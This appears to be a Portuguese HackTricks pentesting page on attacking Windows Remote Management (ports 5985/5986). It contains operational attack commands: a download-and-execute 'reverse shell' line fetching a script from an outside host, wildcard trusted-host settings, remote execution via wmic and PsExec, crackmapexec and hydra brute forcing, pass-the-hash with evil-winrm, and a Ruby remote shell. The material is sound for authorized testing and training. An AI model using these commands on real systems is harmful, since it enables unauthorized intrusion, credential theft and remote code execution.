hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

326 lines
16 KiB
Markdown
Raw Normal View History

2022-07-28 09:46:19 +00:00
# 5985,5986 - Pentesting WinRM
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais sobre bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novos programas de recompensas por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2022-07-28 09:46:19 +00:00
## WinRM
2023-06-06 18:56:34 +00:00
O [Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) é um protocolo da Microsoft que **permite a administração remota de máquinas Windows** por meio do HTTP(S) usando SOAP. Nos bastidores, ele utiliza o WMI, então você pode pensar nele como uma API baseada em HTTP para WMI.
2023-06-06 18:56:34 +00:00
Se o WinRM estiver habilitado na máquina, é trivial administrar remotamente a máquina a partir do PowerShell. Na verdade, você pode simplesmente entrar em uma sessão remota do PowerShell na máquina (como se estivesse usando SSH!)
2023-06-06 18:56:34 +00:00
A maneira mais fácil de detectar se o WinRM está disponível é verificando se a porta está aberta. O WinRM ouvirá em uma das duas portas:
* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**
2023-06-06 18:56:34 +00:00
Se uma dessas portas estiver aberta, o WinRM está configurado e você pode tentar entrar em uma sessão remota.
2023-06-06 18:56:34 +00:00
## **Iniciando uma sessão WinRM**.
2023-06-06 18:56:34 +00:00
Podemos configurar o PowerShell para trabalhar com o WinRM. De acordo com a documentação da Microsoft, Enable-PSRemoting é um cmdlet que configura o computador para receber comandos remotos do PowerShell. Se tivermos acesso a um prompt do PowerShell elevado na vítima, podemos habilitá-lo e adicionar qualquer "atacante" como hosts confiáveis. Podemos executar os seguintes dois comandos:
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
2023-06-06 18:56:34 +00:00
Isso adiciona um caractere coringa à configuração de hosts confiáveis. Esteja ciente do que isso implica. _Nota: também tive que mudar o tipo de rede na minha máquina de ataque de "Pública" para "Rede de trabalho"._
2023-06-06 18:56:34 +00:00
Você também pode **ativar** o WinRM **remotamente** _\*\*\_usando o \_wmic_:
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
2023-06-06 18:56:34 +00:00
### Testar se está configurado
2023-06-06 18:56:34 +00:00
Depois que a máquina de ataque estiver configurada, use a função `Test-WSMan` para testar se o alvo está configurado para WinRM. Você deve ver algumas informações retornadas sobre a versão do protocolo e wsmid:
2022-09-30 10:43:59 +00:00
![](<../.gitbook/assets/image (161) (1).png>)
![](<../.gitbook/assets/image (162).png>)
2023-06-06 18:56:34 +00:00
Neste caso, o primeiro está configurado e o segundo não.
2023-06-06 18:56:34 +00:00
### Executar um comando
2023-06-06 18:56:34 +00:00
Agora podemos usar o `Invoke-Command` do PowerShell para executar remotamente um comando no alvo via WinRM. Para executar remotamente o `ipconfig` e ver a saída:
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
2023-06-06 18:56:34 +00:00
Você também pode **executar um comando do seu console PS atual via** _**Invoke-Command**_. Suponha que você tenha localmente uma função chamada _**enumeration**_ e queira **executá-la em um computador remoto**, você pode fazer:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
2023-06-06 18:56:34 +00:00
### Executar um Script
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
2023-06-06 18:56:34 +00:00
### Obter shell reverso
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
2023-06-06 18:56:34 +00:00
### Obter uma sessão PS
2023-06-06 18:56:34 +00:00
Ou, se você quiser entrar diretamente em uma sessão interativa do PowerShell, use a função `Enter-PSSession`:
2022-09-26 12:02:10 +00:00
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
2022-10-30 16:20:17 +00:00
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)
2023-06-06 18:56:34 +00:00
**A sessão será executada em um novo processo (wsmprovhost) dentro da "vítima"**
2023-06-06 18:56:34 +00:00
### **Forçando a abertura do WinRM**
2023-06-06 18:56:34 +00:00
Se você realmente deseja usar o PS Remoting e o WinRM, mas o alvo não está configurado para isso, você pode "forçá-lo" através de um único comando. Eu não recomendaria isso, mas se você realmente quiser usar o WinRM ou o PSRemoting, faça dessa maneira. Por exemplo, usando o PSExec:
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
2023-06-06 18:56:34 +00:00
Agora podemos entrar em uma sessão PS remota na vítima.
2023-06-06 18:56:34 +00:00
### Salvando e Restaurando sessões
2023-06-06 18:56:34 +00:00
Isso **não funcionará** se a **linguagem** estiver **restrita** no computador remoto.
```ruby
2022-09-26 12:02:10 +00:00
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
2022-09-25 22:00:52 +00:00
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
2023-06-06 18:56:34 +00:00
Dentro dessas sessões, você pode carregar scripts PS usando o _Invoke-Command_.
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
2023-06-06 18:56:34 +00:00
### Erros
2023-06-06 18:56:34 +00:00
Se você encontrar o seguinte erro:
2023-06-06 18:56:34 +00:00
`enter-pssession : Falha ao conectar ao servidor remoto 10.10.10.175 com a seguinte mensagem de erro: O cliente WinRM não pode processar a solicitação. Se o esquema de autenticação for diferente de Kerberos, ou se o computador cliente não estiver associado a um domínio, o transporte HTTPS deve ser usado ou a máquina de destino deve ser adicionada à configuração de configuração de hosts confiáveis. Use o comando winrm.cmd para configurar hosts confiáveis. Observe que os computadores na lista de hosts confiáveis podem não ser autenticados. Você pode obter mais informações sobre isso executando o seguinte comando: winrm help config. Para obter mais informações, consulte o tópico de ajuda sobre solução de problemas remotos.`
2023-06-06 18:56:34 +00:00
Tente no cliente (informações da [qui](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais sobre bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novas recompensas por bugs
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2023-06-06 18:56:34 +00:00
## Conexão WinRM no Linux
2020-09-20 21:44:41 +00:00
2023-06-06 18:56:34 +00:00
### Força Bruta
2020-09-20 21:41:33 +00:00
2023-06-06 18:56:34 +00:00
Cuidado, força bruta no WinRM pode bloquear usuários.
2020-09-20 21:41:33 +00:00
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
2022-05-01 12:49:36 +00:00
# Username + Password + CMD command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
2022-05-01 12:49:36 +00:00
# Username + Hash + PS command execution
2020-09-20 21:44:41 +00:00
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
2020-09-20 21:41:33 +00:00
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
2023-06-06 18:56:34 +00:00
### Usando o evil-winrm
```ruby
gem install evil-winrm
```
2023-06-06 18:56:34 +00:00
Leia a **documentação** em seu github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
2023-06-06 18:56:34 +00:00
Para usar o evil-winrm para se conectar a um endereço IPv6, crie uma entrada dentro do arquivo _**/etc/hosts**_ definindo um **nome de domínio** para o endereço IPv6 e conecte-se a esse domínio.
2023-06-06 18:56:34 +00:00
### Passando o hash com o evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
2023-06-06 18:56:34 +00:00
### Usando uma máquina PS-docker
2023-06-06 18:56:34 +00:00
Para usar uma máquina PS-docker, primeiro é necessário criar uma imagem docker com o PowerShell instalado. Isso pode ser feito usando o seguinte Dockerfile:
2023-06-06 18:56:34 +00:00
```
FROM microsoft/windowsservercore
SHELL ["powershell", "-Command", "$ErrorActionPreference = 'Stop'; $ProgressPreference = 'SilentlyContinue';"]
RUN Invoke-WebRequest -Uri https://github.com/PowerShell/PowerShell/releases/download/v6.0.0-beta.8/powershell-6.0.0-beta.8-win-x64.zip -OutFile c:\powershell.zip ; \
Expand-Archive -Path c:\powershell.zip -DestinationPath c:\powershell ; \
Remove-Item c:\powershell.zip -Force ; \
setx /M PATH $('c:\powershell;{0}' -f $env:PATH)
CMD ["powershell.exe"]
```
2023-06-06 18:56:34 +00:00
Depois de criar a imagem, você pode executar um contêiner com o seguinte comando:
```
docker run -it -p 5985:5985 -p 5986:5986 <image_name>
```
Isso iniciará um contêiner com o PowerShell instalado e as portas 5985 e 5986 expostas. Você pode então usar o WinRM para se conectar ao contêiner e executar comandos PowerShell remotamente.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
2023-06-06 18:56:34 +00:00
### Usando um script em ruby
2023-06-06 18:56:34 +00:00
Código extraído daqui: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
2022-07-28 09:46:19 +00:00
## Shodan
2020-10-05 21:51:08 +00:00
* `port:5985 Microsoft-HTTPAPI`
2023-06-06 18:56:34 +00:00
## Referências
2022-10-27 23:22:18 +00:00
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
2023-06-06 18:56:34 +00:00
## Comandos Automáticos do HackTricks
```
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
2021-08-15 17:09:57 +00:00
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
2021-09-13 15:49:25 +00:00
Entry_2:
Name: Hydra Brute Force
2021-09-27 17:01:44 +00:00
Description: Need User
2021-09-13 15:49:25 +00:00
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
[**Siga HackenProof**](https://bit.ly/3xrrDrL) **para aprender mais sobre bugs web3**
2022-10-27 23:22:18 +00:00
2023-06-06 18:56:34 +00:00
🐞 Leia tutoriais sobre bugs web3
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
🔔 Receba notificações sobre novas recompensas por bugs
2023-02-27 09:28:45 +00:00
2023-06-06 18:56:34 +00:00
💬 Participe de discussões na comunidade
2022-10-27 23:22:18 +00:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
* Você trabalha em uma **empresa de segurança cibernética**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>